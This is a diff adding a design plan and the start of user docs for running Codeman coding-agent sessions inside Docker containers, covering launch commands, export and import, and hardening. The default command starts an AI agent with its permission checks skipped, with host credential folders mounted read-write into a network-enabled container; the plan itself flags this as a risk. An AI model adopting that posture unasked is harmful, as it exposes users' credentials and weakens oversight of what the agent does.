+- `codeman.confighash` is a stable hash of the drift-relevant create args (image, resources, network, mounts, non-session env). Drift detection (user story 2, the config-never-takes-effect gap): on launch the ensure block compares the desired hash to the existing container's label; on mismatch the launch does NOT silently reuse the stale container. Instead the docker route returns a "container config changed, recreate?" action (SSE + UI confirm), and on confirm Codeman `docker rm`'s and recreates. rm destroys in-image (non-bind) state, but the workspace and transcripts survive on their bind mounts and the conversation is restored via `--resume`, so the recreate is safe. Auto-recreate-vs-prompt is a UI choice; the MVP prompts.
+- `--restart no` (resolved consistently with Key decision 1; recovery is Codeman's idempotent create-if-missing, not an engine restart policy, which also matters for Podman which has no daemon).
+
+EXEC (`buildDockerLaunchCommand`, the docker analog of `buildRemoteLaunchCommand`, TTY-correct, resume-aware). The whole thing is ONE `bash -c` string that image-checks, ensures, starts, primes tmux env, then execs:
+
+```
+docker image inspect codeman/agent:base >/dev/null 2>&1 || { echo 'Codeman: base image codeman/agent:base not present (build or pull it)'; exit 1; } ; \
+docker inspect codeman-case-myproj >/dev/null 2>&1 || docker create <all create args above> ; \
+docker start codeman-case-myproj >/dev/null 2>&1 || { echo 'Codeman: container codeman-case-myproj failed to start (daemon down?)'; exit 1; } ; \
+exec docker exec -it \
+  --workdir '/home/arkon/cases/myproj' \
+  --env TERM=xterm-256color --env COLORTERM=truecolor \
+  --env CODEMAN_SESSION_ID=1a2b3c4d --env CODEMAN_MUX=1 \
+  --env OPENAI_API_KEY --env GEMINI_API_KEY \
+  codeman-case-myproj \
+  sh -lc 'tmux -L codeman-docker setenv -g CODEMAN_SESSION_ID 1a2b3c4d \; setenv -g CODEMAN_MUX 1 \; new-session -A -s codeman-dkr-1a2b3c4d -c '\''/home/arkon/cases/myproj'\'' '\''cd /home/arkon/cases/myproj && exec claude --dangerously-skip-permissions --resume <claudeSessionId>'\'' \; set -t codeman-dkr-1a2b3c4d status off \; set -t codeman-dkr-1a2b3c4d mouse off \; set -t codeman-dkr-1a2b3c4d prefix C-q \; set -s escape-time 0'
+```
+
+- `docker exec -it`: `-t` allocates a PTY and forwards SIGWINCH into the container so the Ink TUI re-lays-out on pane resize; `TERM`/`COLORTERM` prevent degraded rendering. `--env OPENAI_API_KEY` (name only) is present only for codex/gemini and is exec-time (never committed). `CODEMAN_SESSION_ID`/`CODEMAN_MUX` are exec-time values plus a `tmux setenv -g` prime so reattaches and new panes inherit them (Key decision 5).
+- `--resume <claudeSessionId>` (codex `resume <id>`, gemini `--resume <id>`) is appended to `modeCommand` ONLY when a captured id exists; on first launch it is omitted. `new-session -A` makes the flag inert on a live-tmux reattach and effective only when tmux is re-created (Key decision 1).
+- `modeCommand = docker.commands?.[mode] || defaultDockerCommandForMode(mode)` (`exec claude --dangerously-skip-permissions`, `exec bash -l`, etc.), with the resume suffix injected by the builder.
+- Escaping survives every layer identically to remote in shape but deeper in nesting: `paneCommand` (`cd ... && exec ...`) is one shellescaped tmux arg, the whole `tmuxInvocation` is one shellescaped `sh -lc` arg, and the outer string is `JSON.stringify()`'d into `bash -c` by respawn-pane (tmux-manager.ts:1329).
+
+Wire-up (extend the two existing seams to 3-way):
+
+- createSession (tmux-manager.ts:1276): `const fullCmd = docker ? buildDockerLaunchCommand({ mode, docker, sessionId, resumeSessionId }) : remote ? buildRemoteLaunchCommand({ mode, remote, sessionId }) : localFullCmd;`
+- launchCmd cd-skip (tmux-manager.ts:1327): `const launchCmd = (remote || docker) ? fullCmd : \`cd ${JSON.stringify(workingDir)} && ${fullCmd}\`;`
+- respawnPane: same two edits at lines 1524 and 1542.
+
+START / reattach-after-reboot: the ensure block (image-check, `docker inspect || docker create`, `docker start`) is fully idempotent, so boot recovery just re-runs `buildDockerLaunchCommand` from the restored `MuxSession.docker` with the persisted resume id. A rebooted host recreates the container and resumes the conversation.
+
+DOCKER-DOWN surfacing (the PTY-exit-breaker false-trip risk): if `docker start` or `docker exec` cannot attach (daemon down, container missing), the launch prints a docker-specific message and exits, which alone would still count toward `session-pty-exit-breaker` and show a generic "respawn breaker tripped" push. To avoid masking the cause, the docker reattach path runs a fast `checkDockerAvailable` pre-flight: if the daemon/container is unreachable, Codeman broadcasts a docker-specific error (SSE + push, "container <name> is not running / daemon down") and SKIPS the auto-reattach that would trip the breaker, rather than fast-looping `docker exec`.
+
+STOP / KILL (`killSession` Strategy 3c, right after remote's Strategy 3b at tmux-manager.ts:1719, guarded by `IS_TEST_MODE`):
+
+```ts
+if (session.docker) {
+  // best-effort, fire-and-forget, timeout-bounded so it never blocks the local kill
+  execAsync(buildDockerKillCommand({ docker: session.docker, sessionId }), { timeout: EXEC_TIMEOUT_MS }).catch(() => {});
+}
+```
+
+`buildDockerKillCommand` emits: `docker exec codeman-case-<slug> tmux -L codeman-docker kill-session -t codeman-dkr-<id8> ; docker stop -t 10 codeman-case-<slug>`. Stopping frees CPU/RAM and, per Key decision 1, is safe for conversation continuity because the NEXT launch resumes from the bind-mounted transcript via `--resume`. Whether to stop at all (RAM vs instant live-agent reattach) is user-decision 6/1 (reframed honestly). The bind-mounted workspace and transcripts always survive on the host.
+
+REMOVE: only on explicit case delete (`docker rm -f codeman-case-<slug>`), gated behind an "export first?" UI prompt because rm destroys any in-image (non-bind) state. Instance-scoped boot reaper (fixing the racy/cross-instance reaper): after `docker-cases.json` is loaded AND after `restoreMuxSessions` has run, enumerate `docker ps -a --filter label=codeman.managed=1 --filter label=codeman.instance=<CODEMAN_INSTANCE> --format '{{.Names}}\t{{index .Labels "codeman.case"}}'` and `docker rm -f` only containers whose case is gone from THIS instance's `docker-cases.json`. The instance filter is what stops a beta reaping prod's containers (the exact cross-instance hazard the project memory warns about).
+
+AVAILABILITY PROBE (`docker-hosts.ts`, timeout-bounded like `checkRemoteTmuxAvailable`'s 15s, `IS_TEST_MODE` no-op):
+
+```
+docker info --format '{{json .}}'                                  # server up, CgroupVersion, rootless, OS (Desktop detect), cap-delegation
+docker image inspect <image> --format '{{.Id}}'                    # image PRESENT (no auto-pull)
+docker run --rm --pull=never <image> sh -lc 'command -v tmux'      # tmux-in-image gate (hard prerequisite), only if image present
+```
+
+`checkDockerAvailable()` returns `{ ok, engine, rootless, isDesktop, cgroupV2, capsEnforced }` (parse `SecurityOptions` for `name=rootless`, `CgroupVersion`, delegation, and Server OS for Desktop). `checkDockerTmuxAvailable(host)` returns a structured result with a user-facing error and correct install hint (NOT `npm install -g`; the hint is "build/pull the base image" for a missing image and "install docker or podman" for a missing engine).
+
+IN-CONTAINER CLI VERSION (fixing the #154 wheel-forwarding regression): the raw plan skipped the LOCAL `cliVersion` probe for docker (correct, since it reports the HOST claude) but left `cliVersion` undefined, which disables trackpad wheel-forwarding. Instead, for docker sessions Codeman runs an IN-CONTAINER probe `docker exec <container> claude --version` (bounded, `IS_TEST_MODE` no-op) and feeds THAT into `cliVersion`. This also means a stale baked CLI is visible; combined with the rebuild-cadence in user-decision 2, agents are not silently pinned to an old claude.
+
+## 5. Export / Import
+
+EXPORT is a concurrency-bounded job (reuse `runWithConversionLimit` from `document-conversion-limiter.ts` so N simultaneous exports cannot fork-bomb the host). Route `POST /api/docker-cases/:name/export`.
+
+Preconditions (the consistency and leak risks the critic caught):
+- Sealed guard: if `mountCredentials:false`, full-image export is REFUSED unless the caller explicitly opts into the pre-commit scrub (Key decision 2). Workspace-only export is always allowed.
+- Quiesce + free-space: require the session idle, then `docker pause` the container spanning BOTH the workspace tar AND the commit so the two artifacts are mutually consistent (the raw plan paused only the commit, leaving the bind-mount tar to run against a mid-write agent). Before any heavy step, precheck free space in the exports dir and in `/var/lib/docker`; if below `DOCKER_EXPORT_MIN_FREE_BYTES`, refuse with a clear error (a full `/var/lib/docker` wedges the daemon and breaks EVERY session on the host).
+
+Steps (all cleanup in try/finally so a mid-way failure never orphans an intermediate image or leaves the container paused):
+
+1. `docker commit -c 'LABEL codeman.exported=1' codeman-case-<slug> codeman/export-<slug>:<ts>` (unique tag per export defeats the stale-image trap). Optional pre-commit scrub in sealed mode as above; also blank instance-specific committed env (`-c 'ENV CODEMAN_API_URL='` etc.) so the image carries no stale host references.
+2. `docker save codeman/export-<slug>:<ts> | gzip` streamed in fixed 8192-byte chunks to `~/.codeman/docker-exports/<slug>-<ts>.image.tar.gz`. Uses `docker save` (layers + repo:tag + CMD), never `docker export` (flat rootfs), so restore is a trivial `docker load`.
+3. `tar --numeric-owner -C <hostWorkspacePath> -czf <slug>-<ts>.workspace.tar.gz .` while paused (the bind-mounted workspace is NOT in the image, so it travels separately and consistently).
+4. Write `manifest.json`: schema version, caseName, image tag, engine, containerWorkdir, resource/network config, codeman version, base-image digest, createdAt, per-member sha256, `mountCredentials`, and `secretFree` (true only for convenient-mode or scrubbed-sealed exports).
+5. `docker rmi codeman/export-<slug>:<ts>` in the `finally` (delete the intermediate committed image regardless of success), then `docker unpause`.
+
+The three files are wrapped in one bundle `<slug>-<ts>.codeman-container.tgz` and offered as a downloadable artifact through the existing file-routes streaming + attachment-registry handoff.
+
+Retention / disk budget (user-decision 3): `docker-exports/` is capped at `DOCKER_EXPORT_KEEP` most-recent bundles with an auto-prune on each new export, plus the free-space precheck above. Workspace scrub: the WORKSPACE tar gets a scan/warn pass for agent-created `.env` / `.git/credentials` (a distinct leak channel from container creds). A lighter "workspace-only" export (just the workspace tar, no commit/save) is the fast default for 24h+ runs; full-image is the explicit heavier option (user-decision 7 in the original list, now decision on the default button below).
+
+What travels: the baked toolchain image plus any in-image writes, and the workspace tar. What does NOT travel: bind-mounted credentials (physically excluded from commit) and anything that lived only in a bind mount. Secret-free by construction in convenient mode, and enforced (refuse-or-scrub) in sealed mode.
+
+IMPORT `POST /api/docker-cases/import` (untrusted-bundle containment, the traversal/overwrite risk): stream the uploaded bundle, validate every manifest checksum BEFORE any extraction or load. Extract the workspace tar with `tar --no-absolute-names -C <fresh dir>` PLUS per-entry validation rejecting any member whose normalized path escapes the destination (leading `/` or `..` components). `gunzip | docker load` the image, then RE-TAG the loaded image id into a quarantined namespace `codeman/imported-<slug>:<ts>` and NEVER allow the load to overwrite `codeman/agent:base` or any pre-existing tag (capture the loaded id, ignore the bundle's repo:tag). Create a NEW `DockerCase` pointing at the quarantined image with THIS host's mounts/creds and the manifest's resource/network config, and recreate the container hardened (cap-drop ALL, no-new-privileges, non-root, `--pull=never`, CMD overridden to `sleep infinity`). The destination supplies its own login, so credentials never cross machines. Plus `GET /api/docker-exports` (list) and `DELETE /api/docker-exports/:filename`, all behind Codeman's existing auth / loopback-default / host-guard / Origin-CSRF stack.
+
+## 6. Codeman integration (file-by-file, mirroring the remote-SSH feature)
+
+- `src/types/session.ts`: add `DockerCommandMode`, `DockerEngine`, `DockerNetworkMode`, `DockerResourceLimits`, `DockerHost`, `DockerCase`, `SessionDocker` (Section 3). Add `docker?: SessionDocker` to `SessionState` after line 219. SessionMode (line 44) UNCHANGED.
+- `src/mux-interface.ts`: add `docker?: SessionDocker` to `MuxSession` (38), `CreateSessionOptions` (81), `RespawnPaneOptions` (105).
+- `src/docker-hosts.ts` (NEW, direct mirror of `src/remote-hosts.ts`): `readDockerHosts`/`writeDockerHosts`/`readDockerCases`/`writeDockerCases` (via `dataPath`, including `lastClaudeSessionId` read/write), `defaultDockerCommandForMode` (mirror line 60), `dockerDisplayPath` (`container:/path`, mirror `remoteDisplayPath` at 205), `toSessionDocker(host, case)` (mirror `toSessionRemote` at 212), `buildDockerBaseArgs`/`buildDockerCreateArgs` (per-engine uid/userns branch), `hostGatewayAlias(engine)`, `containerApiUrl(processApiUrl, engine)` (scheme+port-preserving, unit-tested), `checkDockerAvailable`/`checkDockerTmuxAvailable`/`probeDockerCliVersion` (15s-bounded, `IS_TEST_MODE` no-op), a config-hash helper for drift, its own POSIX `shellescape` copy (mirror line 83). `const IS_TEST_MODE = !!process.env.VITEST;` gates every real `docker` invocation.
+- `src/tmux-manager.ts`: add `DOCKER_TMUX_SOCKET`, `dockerTmuxSessionName`, `buildDockerLaunchCommand` (resume-aware, image-check, env-prime), `buildDockerKillCommand` (Section 4). Extend the two `fullCmd` ternaries (1276, 1524) and the two `launchCmd` cd-skips (1327, 1542). Add `killSession` Strategy 3c after 1719. Ensure `reconcileSessions` (~1800-1815) does NOT hard-delete docker sessions on local-tmux death (recovery relaunch path).
+- `src/session.ts`: add `_docker?: SessionDocker` field (mirror `_remote` at 403), constructor arg (477), assignment (550). Thread `docker: this._docker` and `resumeSessionId: this._claudeSessionId` into BOTH `createSessionOptions` and `respawnPaneOptions` in `startInteractive` (1352/1370) and the second path (1740/1750). Emit `docker: this._docker` in `toState()` (1010). Replace the LOCAL cliVersion probe at 1320 for docker with the IN-CONTAINER `probeDockerCliVersion` (do not merely skip it). Extend `resolveMuxAttachCwd(workingDir, remote, docker)` (215) to return `/tmp` when `docker` is set. On claudeSessionId capture, persist it to the owning `DockerCase.lastClaudeSessionId`.
+- `src/web/server.ts`: in `restoreMuxSessions` (2160), add `docker: muxSession.docker ?? savedState?.docker` to the `new Session({...})` call (2195-2216), and skip docker in the same `isExternalCliMode`/Ralph recovery guards as remote. Register the instance-scoped boot reaper to run AFTER docker-cases load and AFTER `restoreMuxSessions`. Ensure `CODEMAN_API_URL` derivation reads the SAME `process.env.CODEMAN_API_URL` the server sets at ~2000.
+- `src/web/schemas.ts`: add `DockerHostSchema` and `DockerCaseLinkSchema` (below). The three mode enums (177/373/705) and `QuickStartSchema` (368) UNCHANGED (docker resolves by `caseName` lookup like remote).
+- `src/web/routes/session-routes.ts`: import the docker helpers from `../../docker-hosts.js`. Add a docker branch in `/api/quick-start` parallel to the remote branch (1686-1720): `readDockerCases` -> find by `caseName` -> `readDockerHosts` -> find by `hostId`; reject `envOverrides`/`effort`/`codexConfig`/`geminiConfig`/`openCodeConfig` (but ACCEPT `modelOverride`, which flows via scaffolded `settings.local.json`); run `checkDockerAvailable` + `checkDockerTmuxAvailable` (image-present, engine, caps-enforced); surface `capsEnforced:false` and Desktop notes; set `casePath = dockerCase.hostWorkspacePath` (REAL host dir), `docker = toSessionDocker(host, dockerCase)`, and seed `resumeSessionId` from `dockerCase.lastClaudeSessionId` when `resumeOnStart`. Extend the LOCAL-availability and local-spawn guards (around 1796/1810) to `!remote && !docker`, but DO NOT extend the workspace-scaffolding guard (~1776, `writeHooksConfig`/`updateCaseModel`), which MUST run for docker. Pass `docker` into `new Session` (1847); `autoConfigureRalph` (1853) gated on `!docker`. Add `docker: m.docker !== undefined ? true : undefined` to the unified harvest (2313).
+- `src/web/routes/case-routes.ts`: import the docker read/write/check helpers + schemas. Add a docker listing loop in `GET /api/cases` (mirror 94-119, `location: 'docker'`, `docker: {...}` via `dockerDisplayPath`). Add `/api/docker-hosts` GET/POST/PUT/DELETE (mirror 168-204) and `POST /api/cases/docker-link` (mirror 206-232; run `checkDockerAvailable`/`checkDockerTmuxAvailable` at link time; broadcast `CaseLinked` with `type: 'docker'`). Add a docker-unlink branch to `DELETE /api/cases/:name` (mirror 288-296; `docker rm -f`; broadcast `CaseDeleted` `type: 'docker-unlinked'`). Add the docker branch to single-case `GET` (mirror 358-368). Add `POST /api/docker-cases/:name/export`, `/import`, `GET/DELETE /api/docker-exports`, and a `POST /api/docker-cases/:name/recreate` (drift confirm) per Sections 4 and 5.
+- `src/web/sse-events.ts` + `src/web/public/constants.js`: reuse `CaseLinked`/`CaseDeleted` for CRUD. Add `docker:exportProgress`, `docker:exportComplete`, `docker:importComplete`, `docker:configDrift`, and `docker:containerError` to BOTH registries (kept in sync per CLAUDE.md).
+- Frontend `src/web/public/index.html` (~1831): add a Docker `modal-tab-btn` next to Remote; add a `#case-docker` panel mirroring `#case-remote` with `dockerCaseName`, `dockerHostWorkspacePath`, `dockerContainer`, `dockerImage`, `dockerHostId`, and an Advanced `<details>` for network mode, resource caps, `mountCredentials`, `resumeOnStart`, and remote daemon. Surface a "scaffolds .claude into this host dir" note (user-decision 4) and a "resource caps advisory on this engine" warning when `capsEnforced:false`.
+- Frontend `src/web/public/session-ui.js`: `formatCasePickerLabel` (48) + `buildCasePickerOptions` (71-73) handle `location === 'docker'` (`name @ container`, add container/image to the search haystack); `resetCaseModalFields` (~1514) add a `dockerFields` array; `switchCaseModalTab` (1573/1580/1597) handle `'case-docker'`; `submitCaseModal` add the docker branch; new `linkDockerCase()` (mirror `linkRemoteCase` at 1689) POSTing `/api/docker-hosts` then `/api/cases/docker-link`, sending omitted optionals as `undefined` (spread `...(x ? {x} : {})`, never `null`, per the Zod `.optional()`-rejects-null gotcha); `runClaude` (520) / `runShell` (702) extend the `location === 'remote'` routing to also match `'docker'`; `runOpenCode`/`runCodex`/`runGemini` (792/846/900) make the `isRemote` checks `isRemoteOrDocker` so local status probes are skipped. In the session-options Summary tab, note that `effort` is inert for docker (rejected) while `model` IS honored via `settings.local.json`.
+- Frontend `src/web/public/panels-ui.js` (425-426): add `caseItem?.docker?.path`/`container` to the case-search fields.
+
+Schemas (`src/web/schemas.ts`), mirroring `RemoteHostSchema` (299) / `RemoteCaseLinkSchema` (351):

+```
+
+`NO_SHELL_META` (rejects `$`/backtick, schemas.ts:297) is REQUIRED on `image`, `hostWorkspacePath`, `containerWorkdir`, and `container`, because all four reach the outer `bash -c "..."` double-quote layer where `$(...)`/backtick re-expose, exactly the reason `remotePath`/`identityFile` use it. `--privileged` and any `-v /var/run/docker.sock` are structurally unrepresentable (never emitted by the builder, never accepted by the schema).
+
+## 7. Security model
+
+- Hardening flags on every create: `--cap-drop ALL`, `--security-opt no-new-privileges` (NOT auto-set by rootless Docker or Podman, so always explicit), the uid/userns branch of Key decision 6 (never container-root; workspace files stay host-owned and HOME stays writable via GID 0), `--pids-limit` (fork-bomb guard), `--memory` with `--memory-swap == --memory` (real OOM cap), `--ulimit nofile`, `--init`, `--pull=never`. NEVER `--privileged`, NEVER mount the docker socket into the agent container. `--storage-opt size=` is emitted ONLY after the probe confirms overlay2-on-xfs-pquota or btrfs (the AICE-class silently-ignored trap); otherwise it is omitted and the UI does not advertise a size cap. Resource caps are advertised as ENFORCED only when the probe reports `capsEnforced:true`; under non-delegated rootless they are labeled advisory (user-decision 6).
+- Engine: prefer whichever the probe finds, Podman-rootless first for security (a container-root breakout lands as an unprivileged host user). Rootless bind-mount ownership uses `--userns=keep-id` (Podman) vs `--user <hostUid>:0` (Docker), so real per-engine branching lives in `buildDockerCreateArgs`. Docker Desktop takes its own uid path (Key decision 6).
+- Blast radius (the combined-posture the critic asked to surface, user-decision 5): the default convenient profile mounts an arbitrary host workspace dir RW (host-owned, mirrored path) AND host `~/.claude`/`~/.codex`/`~/.gemini`/`~/.config/gcloud`/`~/.config/opencode` RW into a NETWORK-ENABLED container. Container-run agent code can therefore read/modify those host trees and reach the network simultaneously. This is still a strict improvement over today's on-host skip-permissions execution, but the user must accept the combined posture explicitly; the sealed profile plus `network:none` is the mitigation for genuinely untrusted work.
+- Secret handling: creds arrive ONLY as bind-mounted files (default) or exec-time NAME-ONLY `--env` (codex/gemini keys), NEVER as create-time `-e` and NEVER as an image layer. Sealed-mode export is refuse-or-scrub (Section 5), closing the sealed-leak inversion.
+- CLAUDE.md "Multi-CLI prefix discipline": the exec-time name-only env is restricted to the CLI-specific keys per mode (Claude: none with OAuth mount; Codex: `OPENAI_API_KEY`/`CODEX_API_KEY`; Gemini: `GEMINI_API_KEY`/`GOOGLE_*`), never a blanket forward. `envOverrides` is rejected for docker, so the `ALLOWED_ENV_PREFIXES` allowlist is not widened.
+- hook-secret: bind-mounted read-only, referenced via `CODEMAN_HOOK_SECRET_FILE` (a path, non-secret); the secret bytes never enter env or the image. Both `host.docker.internal` and `host.containers.internal` are added to the host-guard allowlist so the in-container hook curl's Host header passes on either engine.
+- Host guard / instance isolation: the in-container tmux socket (`codeman-docker`) and name (`codeman-dkr-<id8>`) deliberately FAIL a container-internal Codeman's `SAFE_MUX_NAME_PATTERN`, so a nested Codeman never adopts our session (unit-asserted). The boot reaper is instance-scoped by the `codeman.instance` label so a beta never reaps prod. Any remote-daemon (`-H`/`--context`) mode is host-root-equivalent and stays strictly behind the existing auth/loopback/host-guard/Origin-CSRF stack.
+- Import containment: untrusted bundles are checksum-validated, extracted with traversal guards, and loaded into a quarantined image namespace (never overwriting the base image), then run with the same hardening.
+
+## 8. Phased implementation (branch: `feat/docker-session-mode`)
+
+Each phase is independently testable; per CLAUDE.md, end-to-end test in the real env before COM. All new docker IO paths carry `const IS_TEST_MODE = !!process.env.VITEST;` and no-op under it; the pure command builders are tested directly.
+
+- Phase 0: base image + engine probe. Author `docker/agent.Dockerfile` (OpenShift arbitrary-uid HOME) and `scripts/build-agent-image.mjs` (build or pull the base image; digest recorded). Add `checkDockerAvailable`/`checkDockerTmuxAvailable`/`containerApiUrl`/`hostGatewayAlias` (IS_TEST_MODE no-op) and `GET /api/docker/status`. Test: probe stub returns available/caps/Desktop flags under VITEST; `containerApiUrl` preserves scheme+port and swaps host per engine; status route returns the envelope.
+- Phase 1: types + storage + schemas. Add all types (Section 3), `src/docker-hosts.ts`, `DockerHostSchema`/`DockerCaseLinkSchema`. Test: `docker-hosts.test.ts` (round-trip incl. `lastClaudeSessionId`, display path, config-hash stability); `docker-exec-options.test.ts` (schema rejects `$`/backtick in image/workdir/container).
+- Phase 2: tmux-manager builders. Add `DOCKER_TMUX_SOCKET`, `dockerTmuxSessionName`, `buildDockerLaunchCommand` (resume-aware, image-check, env-prime), `buildDockerKillCommand`; wire the two ternaries + two cd-skips + Strategy 3c; harden `reconcileSessions` against docker hard-delete. Test (pure strings): adopt-proof name fails `SAFE_MUX_NAME_PATTERN`; image-check precedes create; `new-session -A` idempotent; resume flag present only when a resume id is passed; `--pull=never` present; instance label present; escaping survives `bash -c` -> `docker exec` -> `sh -lc` -> tmux WITH a host workspace path containing spaces.
+- Phase 3: session.ts + mux + recovery. Add `_docker` + `resumeSessionId` threading, in-container cliVersion probe, `resolveMuxAttachCwd`, mux-interface fields, `restoreMuxSessions` passthrough, instance-scoped reaper wiring, claudeSessionId -> `DockerCase.lastClaudeSessionId` persistence, unified flag. Test: `toState()` emits docker; a persisted docker session round-trips through mux/state; a relaunch injects the persisted resume id (mock mux); reaper only targets this instance's orphaned containers.
+- Phase 4: routes + first real e2e. case-routes CRUD + listing + drift-recreate; session-routes quick-start branch (scaffolding RUNS, local-availability guards skip, model accepted, effort/config rejected). Manual e2e on a real docker host: docker-host create -> docker-link -> quick-start; confirm the pane runs `claude` in the container, files land host-owned, a Codeman restart reattaches the SAME live agent, and a `docker stop` followed by relaunch RESUMES the conversation.
+- Phase 5: hooks connectivity + installation. host-gateway (per engine), derived `CODEMAN_API_URL`, hook-secret mount, `CODEMAN_SESSION_ID`/`CODEMAN_MUX` exec-env + tmux setenv, host-guard allowlist, and the scaffolding write into the real workspace. Manual e2e: trigger a permission prompt from inside the container and confirm it surfaces; verify hook payloads carry the right session id. If deferred, ship docker as explicitly hook-degraded and verify output-based idle detection through the docker-exec PTY.
+- Phase 6: export/import + GC + disk safety. quiesce+pause span, free-space precheck, commit+save+gzip + workspace tar + manifest + streaming download; sealed-mode refuse-or-scrub; retention/auto-prune; import with checksum validation + traversal guard + quarantined re-tag; drift-recreate; boot reaper; `runWithConversionLimit` cap; `docker rmi` in finally. Manual e2e: export, `docker load` on a second machine (or fresh case), import, confirm toolchain + workspace restored and NO creds present; attempt a sealed full-image export and confirm it is refused-or-scrubbed; attempt a `../` bundle and confirm it is rejected.
+- Phase 7: frontend. Docker tab, `linkDockerCase`, run wiring, case-picker labels, panels search, caps-advisory + scaffold-warning + effort-inert notes. Verify with Playwright (`waitUntil: 'domcontentloaded'`, 3-4s settle) that the Docker tab renders and a linked docker case appears in the picker.
+- Phase 8: docs + COM. Update CLAUDE.md (a "Docker cases" Key Pattern paragraph mirroring remote-SSH, plus the new state files, routes counts, and the resume/durability model), `docs/docker-cases.md`, then COM per the standard flow.
+
+## 9. Test plan
+
+- Unit (pure, CI-safe, mirror `test/remote-hosts.test.ts` / `test/remote-ssh-options.test.ts`):
+  - `test/docker-hosts.test.ts`: storage round-trip (incl. `lastClaudeSessionId`), `dockerDisplayPath`, `defaultDockerCommandForMode`, `toSessionDocker`, `containerApiUrl` (http/https, custom port, docker vs podman gateway), config-hash stability/drift, `buildDockerCreateArgs` flag ordering (cap-drop/no-new-privileges/memory==memory-swap/instance-label/`--pull=never` present; host/privileged/socket absent; per-engine uid vs `--userns=keep-id`).
+  - `test/docker-exec-options.test.ts`: `buildDockerLaunchCommand`/`buildDockerKillCommand` string shape and escaping through `bash -c` -> `docker exec` -> `sh -lc` -> tmux, including a workspace path with spaces; resume flag present only with a resume id; image-presence check precedes create; `dockerTmuxSessionName` fails `SAFE_MUX_NAME_PATTERN`; schema rejects `$`/backtick in image/workdir/container/name; `linkDockerCase`-shaped bodies with omitted optionals validate (no `null` on the wire).
+  - Probe no-op: `checkDockerAvailable`/`checkDockerTmuxAvailable`/`probeDockerCliVersion` return canned values under VITEST and never spawn.
+- Integration (route tests via `app.inject()`, docker no-op'd): `/api/docker-hosts` CRUD; `/api/cases/docker-link` dup-check + broadcast; `GET /api/cases` includes the docker case with `location: 'docker'`; `/api/quick-start` docker branch rejects `envOverrides`/`effort`/config but ACCEPTS `modelOverride`, runs the workspace-scaffolding path, and constructs a session with `docker` set + seeded resume id; `DELETE /api/cases/:name` docker-unlink; export refuse-or-scrub for sealed; import traversal rejection; reaper instance-scoping (label filter). Pick a unique port only if a live-server test is added (search `const PORT =`; 3150+).
+- Manual end-to-end (real docker daemon, the mandatory "always end-to-end test" gate): build the base image; link a docker case; quick-start `claude`; verify OAuth via the mounted `~/.claude`, transcript correlation (subagent/workflow watchers show the session), host-owned files, and a working permission-prompt hook; reattach after a Codeman PROCESS restart (SAME live agent); `docker stop` then relaunch and confirm conversation RESUME; reboot-equivalent (daemon restart) and confirm boot recovery recreates+resumes; change the host's memory/image and confirm the drift-recreate prompt fires; export (convenient) and confirm the tar `docker load`s with no creds; attempt a sealed full-image export and confirm refuse-or-scrub; import into a fresh case; delete the case and confirm `docker rm -f` plus instance-scoped reaper GC; confirm a docker-down state surfaces a docker-specific error and does NOT trip the generic PTY-exit breaker.
+
+## 10. Open decisions for the user
+
+1. Credential + blast-radius posture (combined). Convenient default bind-mounts host `~/.claude` etc. RW AND an arbitrary host workspace RW into a network-enabled container, so container-run agent code can read/modify those host trees and reach the network at the same time. Recommended: convenient default plus a per-host SEALED opt-in (`mountCredentials:false` + `network:none`) for untrusted work. Please confirm you accept the combined arbitrary-workspace-plus-egress-plus-host-creds posture for the default profile (it is still a net improvement over today's on-host skip-permissions execution).
+2. Base image ownership, registry, and freshness. The `codeman/agent:base` placeholder implies a Docker Hub org the project may not own. Pick the real registry/namespace (GHCR under the repo is the natural fit), decide digest pinning, and set a REBUILD CADENCE so agents are not stuck on a stale baked `claude` (the in-container version probe surfaces staleness, but something must trigger rebuilds). Choose: pull a pinned published image, build locally on first use via `scripts/build-agent-image.mjs`, or both.
+3. Container CWD strategy. Mirror the host workspace path inside the container (recommended: makes transcript projHash correlate, file features and resume capture work) vs a fixed `/workspace` (simpler mount, breaks watcher correlation). Please confirm the mirror approach.
+4. Hooks in the MVP AND workspace scaffolding. Making docker hooks fire requires WRITING `.claude/settings.local.json` (and the CLAUDE.md scaffold) into the user's REAL linked host directory, a behavioral shift from "link a dir" to "link and scaffold a dir." Choose: wire hooks + scaffolding now (Phase 5, recommended, and it also enables the model picker), or ship docker as explicitly hook-degraded (no permission prompts / hook-idle) for v1 and add later. Confirm you are OK with Codeman mutating the linked host workspace.
+5. Session-kill teardown and RESUME (reframed honestly). `docker stop` on session kill is not merely "free RAM vs instant reattach": it destroys the in-container live agent, and the conversation survives ONLY because the next launch runs `--resume` from the bind-mounted transcript. Choose: keep the container running (costs RAM, preserves the exact live in-flight agent) vs stop and rely on `--resume` (frees RAM, may lose uncommitted in-flight tool state). Case-delete always `docker rm -f`.
+6. Rootless enforcement posture. Under rootless without cgroup-v2 systemd delegation, `--memory`/`--cpus`/`--pids-limit` are SILENTLY ignored. Choose: REQUIRE delegation (refuse to link a host that cannot enforce caps) or ship-with-warning ("resource caps are advisory on your engine"). The probe reports `capsEnforced` either way.
+7. Default resume behavior. Should a re-linked or re-run docker case default to resuming its last conversation (`resumeOnStart:true`, using `DockerCase.lastClaudeSessionId`) rather than starting clean? This is the crux of making the durability story real and is the recommended default, but it changes user-visible behavior (a new session in an existing case continues the prior conversation).
+8. Export defaults and disk budget. Default export button: workspace-only (fast, small, files-only, recommended for 24h+ runs) vs full-image (reproducible env, multi-GB). Also set the retention cap (max retained exports), the auto-prune policy, and the free-space threshold below which export is refused (a full `/var/lib/docker` breaks EVERY session on the host, not just docker ones).
+9. Remote docker daemon (`-H ssh://...` / `--context`). Support in the MVP (composes with remote hosts, adds host-root trust surface) or local-daemon-only first.
+10. Podman parity depth. Full `--userns=keep-id` plus Quadlet boot-persistence, or Docker-first with Podman as best-effort and boot-persistence via Codeman's idempotent create-if-missing only. Note the podman host alias is `host.containers.internal`, already handled per engine.

+# Docker cases
+
+Run a case inside an **isolated Docker container** instead of directly on the host. Any number of Codeman sessions can share one container (it is scoped to the case, not the session), so a whole project lives in a sandbox with its own network, resource caps, and filesystem, and you can **export the container to move it to another machine**.
+
+Docker mode is a **location overlay on cases**, the direct analog of [remote SSH cases](./remote-hosts.md): where a remote case runs a local tmux pane doing `ssh host` into a durable remote tmux server, a docker case runs a local tmux pane doing `docker exec -it` into a durable **in-container** tmux server. It is not a separate `SessionMode`, so `claude` / `shell` / `opencode` / `codex` / `gemini` all work inside the container.
+
+## One-time setup: build the base image
+
+The container needs a base image with the agent toolchain (node, the CLIs, git, tmux). Build it locally once:
+
+```bash
